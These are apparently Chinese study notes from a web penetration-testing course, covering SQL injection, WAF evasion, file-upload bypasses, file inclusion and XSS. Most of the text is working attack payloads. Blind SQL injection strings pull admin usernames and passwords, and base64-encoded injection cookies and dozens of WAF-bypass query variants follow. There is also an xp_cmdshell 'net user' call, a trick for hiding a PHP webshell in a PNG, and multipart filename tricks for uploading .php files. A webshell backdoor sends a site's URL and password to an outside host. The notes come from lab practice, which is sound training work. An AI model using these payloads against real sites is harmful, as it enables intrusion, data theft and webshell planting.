ORD() :转换成ascii码
Length() :统计长度
version() :查看数据库版本
database() :查看当前数据库名
user() :查看当前用户
123456
布尔注入流程:
猜解获取数据库长度
' or length(database()) > 8 --+ :符合条件返回正确,反之返回错误
1
猜解数据库名
'or mid(database(),1,1)= 'z' --+ :因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名
12
猜解第一个表名
'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a' --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+
1234
猜解表的字段的总数
'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
1
猜解第一个字段的长度
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)
12
猜解第一个字段名
'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
123
猜解直接猜测字段名
' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+
1
猜解内容长度
假如已经知道字段名为 id username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
12
猜解内容
'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII码猜解
123
也可以直接猜测内容
'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+
1
第十七天二次、加解密、dns等注入
加解密注入
SQL加解密注入,是特指一种特殊的注入形式,即注入点并没有直接把输入的信息传输到后台,而是通过进行base64编码等形式处理后,再传输到后台。
如cookie加密,
GET /Less-21/index.php HTTP/1.1
Host: 10.1.1.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.1.1.133/Less-21/index.php
Connection: close
Cookie: uname=YWRtaW4%3D
Upgrade-Insecure-Requests: 1
其中Cookie: uname=YWRtaW4%3D
的uname值就是base64加密,%3D就是url编码的=号
要进行注入就需要对注入语句进行base64加密
也就是说admin' and 1=1
加密之后的值是YWRtaW4nIGFuZCAxPTE=
获取数据库名称admin' or updatexml(1,concat(0x7e,(database())),0) or '
加密后cookie值Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSksMCkgb3IgJwo=
通过这样就可以进行注入
二次注入
二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。
sqlilabs-less24-post登陆框&二次注入
数据库中查询
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | admin |
+----+----------+------------+
14 rows in set (0.00 sec)
登录用户修改密码
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123456 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | admin |
+----+----------+------------+
14 rows in set (0.00 sec)
最后我们看到的是将admin的账户密码修改为了123456而admin'#并没有发生改变,原因是代码执行的过程中将'#没有过滤直接带入执行导致'与前面的代码闭合而#将后面的代码给注释。
出现限制长度的情况分为两种一种是后端限制,一种是前端限制,后端限制没有办法更改,但是前端限制可以在前端页面进行更改
DNSlog注入
涉及资源:http://ceye.io
参考资料:https://www.cnblogs.com/xhds/p/12322839.html
第十八天堆叠及WAF绕过注入
1.堆叠查询注入
stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;
表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
堆叠注入不一定可以适用于所有情况,可能受API或者数据库引擎不支持的限制,当然权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
主要是mysqli_multi_query这个函数允许执行多条sql语句,如果源码的语句是Mysqli_query,这个堆叠注入就无效
当管理员密码无法获取时,可以使用堆叠注入进行用户的创建然后进入后台
堆叠注入的可以运用于创建用户由于我们使用网站用户进行注入不能查看到数据库的密码但是我们可以创建用户来登录迂回的注入数据库,但是前提是网站的管理员必须是高权限才能完全创建用户。也可以使用update更新管理员用户密码
第十九天WAF绕过
安全狗等产品并没有把所有防护打开,打开固然防护等级高,但是有的业务访问也会被限制,误报
HTTP参数污染https://blog.csdn.net/qq_19446965/article/details/118584252
在SQL中/**/
和 /** */
起注释作用
FUZZ测试
漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x1 WAF的常见特征
之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。本文不对WAF做详细介绍,只谈及几点相关的。
总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:
- 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话
- 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式
- 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
- WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。
WAF的常见特点:
- 异常检测协议:拒绝不符合HTTP标准的请求
- 增强的输入验证:代理和服务端的验证,而不只是限于客户端验证
- 白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题
- 基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活
- 状态管理:重点进行会话保护
- 另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等
如果是对于扫描器,WAF有其识别之道:
扫描器识别主要由以下几点:
- 扫描器指纹(head字段/请求参数值),以wvs为例,会有很明显的Acunetix在内的标识
- 单IP+ cookie某时间段内触发规则次数
- 隐藏的链接标签等()
- Cookie植入
- 验证码验证,扫描器无法自动填充验证码
- 单IP请求时间段内Webserver返回http状态404比例, 扫描器探测敏感目录基于字典,找不到文件则返回404
0x2 绕过WAF的方法
从目前能找到的资料来看,我把这些绕过waf的技术分为9类,包含从初级到高级技巧
a) 大小写混合
b)替换关键字
c)使用编码
d)使用注释
e)等价函数与命令
f)特殊符号
g)HTTP参数控制
h)缓冲区溢出
i)整合绕过
a) 大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理
b)替换关键字
这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过
举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望
c)使用编码
- URL编码
在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29
普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT - 十六进制编码
举例:z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点 - Unicode编码
Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了
看一下常用的几个符号的一些Unicode编码:
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:?id=10%D6‘%20AND%201=2%23
SELECT 'Ä'='A'; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成',那么就变成了%D6%5C',%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过
另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下
常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子
d) 使用注释
看一下常见的用于注释的符号有哪些:*//, -- , //, #, --+,-- -, ;,--a
1.普通注释
举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、--+用于终结语句的查询
2.内联注释
相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
举例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
?page_id=null%0A///*!50000%55nIOn*//*yoyu*/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…
两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用
e)等价函数与命令
有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用
1.函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论
2.符号
and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了
在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制
f) 特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:
1.使用反引号,例如select
version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@*var_name*,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制
可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到
本人搜罗了部分可能发挥大作用的字符(未包括'、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例:
关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔
本节最后在给出一些和这些字符多少有点关系的操作符供参考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
g) HTTP参数控制
这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制
1.HPP(HTTP Parameter Polution)
举例:/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users
HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:
具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过
2.HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
/?a=1+union/&b=/select+1,pass/&c=/from+users--
select from table where a=1 union/ and b=/select 1,pass/ limit */from users—
看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句。
3.HPC(HTTP Parameter Contamination)
这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染
RFC2396定义了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:
以魔术字符%为例,Asp/Asp.net会受到影响
h) 缓冲区溢出(Advanced)
缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过
举例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出
i) 整合绕过
整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。
举例
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
0x3 SQLi Filter的实现及Evasion
SQL Injection时用得最多的一些关键字如下:and, or, union, where, limit, group by, select, ', hex, substr, white space
对它们的检测,完整正则表达式为:preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr|\s)/i', $id)
其应对方式依次为:
***note***:"=>"左边表示会被Filtered的语句,"=>"右边表示成功Bypass的语句,左边标红的为被Filtered的关键字,右边标蓝的为替代其功能的函数或关键字
and => && or => ||
union select user, password from users => 1 || (select user from users where user_id = 1) = 'admin
1 || (select user from users where user_id = 1) = 'admin' => 1 || (select user from users limit 1) = 'admin
1 || (select user from users limit 1) = 'admin' => 1 || (select user from users group by user_id having user_id = 1) = 'admin'
1 || (select user from users group by user_id having user_id = 1) = 'admin' => 1 || (select substr(group_concat(user_id),1,1) user from users )=1
1 || (select substr(group_concat(user_id),1,1) user from users) = 1 => 1 || 1 = 1 into outfile 'result.txt' 或者 1 || substr(user,1,1) = 'a'
1 || (select substr(group_concat(user_id),1,1) user from users) = 1 => 1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61
或者 1 || substr(user,1,1) = unhex(61) // ' Filtered
1 || substr(user,1,1) = unhex(61) => 1 || substr(user,1,1) = lower(conv(11,10,36))
1 || substr(user,1,1) = lower(conv(11,10,36)) => 1 || lpad(user,7,1)
1 || lpad(user,7,1) => 1%0b||%0blpad(user,7,1) // ' ' Filtered
上面两张图,第一张是不能使用数字时通过使用数学函数得到某个数字的值,第二章则是这些数字对应的36进制的值,因此有时候一个很简单的表达式可能会很复杂或者非常长,其实际就是计算mod(a,b):
在遇到WAF防护的情况下,可以使用延时注入,以及随机修改UA和代理池随机代理
第二十天文件上传基础及过滤方式
第二十一天文件上传后端黑白名单绕过
文件上传常见验证:
后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME
信息文件头:内容头信息
简要上传表单代码分析解释
PHP函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
substr() 函数返回字符串的一部分。
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
upload-labs通关
第二十二天文件上传内容逻辑数组绕过
copy 1.png /b + shell.php /a webshell.jpg
文件头检测
图像文件信息判断
逻辑安全=二次渲染
逻辑安全-条件竞争目录命名-x.php/.
脚本函数漏洞-CVE-2015-2348
数组接受+目录命名
copy 1.png /b + shell.php /a webshell.jpg
意思是将shell.php中的代码追加到1.png中并重新生成一个叫webshell.php的代码。
文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。
- 文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
- 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
- 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等函数。
第二十三天文件上传解析漏洞编辑器安全
各个平台解析漏洞讲解IIS,Apache , Nginx
各个wEB编辑器安全讲解
https://navisec.it/编辑器漏洞手册/
各个cMS文件上传简要讲解
wordpress, phpcms
常见编辑器
fckeditor exp
ueditor 漏洞利用
扩展
1.POC(Proof ofConcept),中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC
则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。
2.EXP(Exploit),中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻
击代码,可以使得读者完全了解漏洞的机理以及利用的方法。
3.VUL(Vulnerability),泛指漏洞。
4.CVE漏洞编号,CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露,例如
CVE-2015-0057、CVE-1999-0001等等。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经
暴露出来的弱点给出一个公共的名称。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以
快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。
可以在https://cve.mitre.org/网站根据漏洞的CVE编号搜索该漏洞的介绍。
也可以在中文社区http://www.scap.org.cn/上搜索关于漏洞的介绍
5.0DAY漏洞和0DAY攻击
在计算机领域中,零日漏洞或零时差漏洞(英语:Zero-dayexploit)通常是指还没有补丁的安全漏洞,
而零日攻击或零时差攻击(英语:Zero-dayattack)则是指利用这种漏洞进行的攻击。提供该漏洞细节或
者利用程序的人通常是该漏洞的发现者。零日漏洞的利用程序对网络安全具有巨大威胁,因此零日漏洞不但
是黑客的最爱,掌握多少零日漏洞也成为评价黑客技术水平的一个重要参数。
零日漏洞及其利用代码不仅对犯罪黑客而言,具有极高的利用价值,一些国家间谍和网军部队,例如美国国
家安全局和美国网战司令部也非常重视这些信息[1]。据路透社报告称美国政府是零日漏洞黑市的最大买
家。
拿到一个网站从文件上传或者解析漏洞角度去看
先看中间件的版本,再查看其漏洞
- IIS6.x/7
- Nginx
- Apache
网站字典扫描(upload.php等),会员中心等存在上传,查看是黑名单还是白名单
查看编辑器类型,网上查到漏洞利用,或者其他最近最新的CVE
第二十四天文件上传之WAF绕过及安全修复
过WAFhttps://blog.csdn.net/qq_50854790/article/details/123691985
上传参数名解析:明确有哪些东西能修改?
Content-Disposition: 一般可更改
name: 表单参数值,不能更改
filename :文件名,可以更改
Content-Type:文件MIME,视情况更改
常见的绕过方法
数据溢出-防匹配(xxx.. .)
- name和filename中插入大量垃圾数据
- boundary字符串中加入垃圾数据
- boundray末尾插入垃圾数据
- multipart/form-data与boundary之间插入垃圾数据
符号变异-防匹配('" ;)
- 引号变换
头部字段的值既可以添加单引号也可以添加双引号还可以不加引号,都不会影响上传结果。
Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
可以去除掉filename字符串中末尾的引号,也能够正常上传
Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;
数据截断-防匹配(%00 ;换行)
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用`[0x00]`代替16进制的00字符
换行,如x.php,使用换行为
x.p
h
p
在检测时实际上为x.p/nh/np,waf不一定检测的出来,会被干扰
重复数据-防匹配(参数多次)
Content-Disposition: form-data; name="upload_file";
filename="Content-Disposition:form-data; name="upload_file";x.php"
Content-Disposition: form-data; name="upload_file";
filename="Content-Type: image/jpeg;x.php"
fuzz字典
https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/TuuuNya/fuzz_dict
https://github.com/jas502n/fuzz-wooyun-org
第二十五天XSS跨站之原理分类及攻击手法
js执行
Js是浏览器执行的前端语言,用户在存在xss漏洞的站点url后者能输入数据的部分插入js语言,服务器接收到此数据,认为是js代码,从而返回的时候执行。因此,攻击者可利用这个漏洞对站点插入任意js代码进行窃取用户的信息。
xss攻击
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。
对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
XSS攻击的危害
- 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 盗窃企业重要的具有商业价值的资料
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 制受害者机器向其它网站发起攻击(重定向语句)
- 窃取cookie的sessionid,冒充登录。
XSS攻击利用到最大就需要自己有台服务器用于窃取信息,还要利用一点社工,骗取别人点击恶意的链接。
漏洞分类
1.DOM型(不经过服务器,前端js代码的利用):
本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示:
Alice给Bob发送一个恶意构造了Web的URL。
Bob点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。
2.反射型:
这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。
其攻击过程如下:
Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
Charly发现Bob的站点包含反射性的XSS漏洞。
Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。
Alice在登录到Bob的站点后,浏览Charly提供的URL。
嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。
3.存储型(长久型,危害最大):
该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。其攻击过程如下:
Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
Charly注意到Bob的站点具有类型C的XSS漏洞。
Charly发布一个热点信息,吸引其它用户纷纷阅读。
Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。
类型A直接威胁用户个体,而类型B和类型C所威胁的对象都是企业级Web应用。
COOKIE 存储本地 存活时间较长 小中型
SESSION 会话 存储服务器 存活时间较短 大型
第二十六天跨站之订单及Shell箱子反杀记
XSS平台
用于收取cookie,账号等信息。
直接创建项目。
在网站有xss的地方插入项目中的代码,执行的时候会把对应的信息发送到平台上。
shell箱子 很多人在网上发布大马,他们在大马中写入了后门。当你成功把有后门的大马上传到目标网站上时,大马就会把该网站的url以及密码发送给在大马留过后门的人。
$_SERVER['HTTP_HOST']//获取当前的url
$_SERVER['PHP_SELF']//获取当前访问的文件路径
例子:(留后门的方式有很多,也有可能加密,这里只是举一个例子)
因为代码<script src='http://www.xxx.com/index.php?url=$url&pass=$password'>
当前端js执行这个脚本的时候,就会对地址http://www.xxx.com/index.php进行访问,并且通过GET方式发送当前上传的网马的网址(通过url与当前文件路径的拼接)和密码
这边http://www.xxx.com/index.php就会通过大马那边传过来的GET请求接收里面的url以及密码,从而获取别入侵的网址的shell
因为webshell箱子会对网马传过去的url以及密码进行显示,所以我们可以把url或者密码处改成跨站脚本代码去获取对方网站webshell箱子的cookie
怎么样检测下载的大马里有没有被别人留下后门? 先把下载的网马放到本地环境进行测试 此时用浏览器或者抓包工具查看数据包 发现此处对一个莫名其妙的地址进行了访问,并且携带了GET参数,证明这个网马中被别人留下了后门
第二十七天XSS跨站之代码及httponly绕过
httponly
如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss漏洞只能是防止cookie被盗取。
ini_set("session.cookie_httponly", 1);
绕过 httponly: 浏览器未保存帐号密码:需要 xss 产生登录地址,利用表单劫持 浏览器保存帐号密码:浏览器读取帐号密
xss-labs通关
referer来源
CSRF漏洞,诱骗小迪去点击某鸟人的博客中加入代码的地方,然后利用小迪的权限cookie在不知不觉的情况下添加了一个鸟人知道的管理员账号和密码,社会工程学
检测来源 同源策略=是否同一域名
注入的时候,可以通过GET,POST,数据包,COOKIE等等地方发送,具体的要查看网站的数据接收
第二十八天XSS跨站之WAF绕过及安全修复
常规WAF绕过思路
- 标签语法替换
- 特殊符号干扰
- 提交方式更改
- 垃圾数据溢出
- 加密解密算法
- 结合其他漏洞绕过
常见WAF过滤的标签
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>
绕过方法
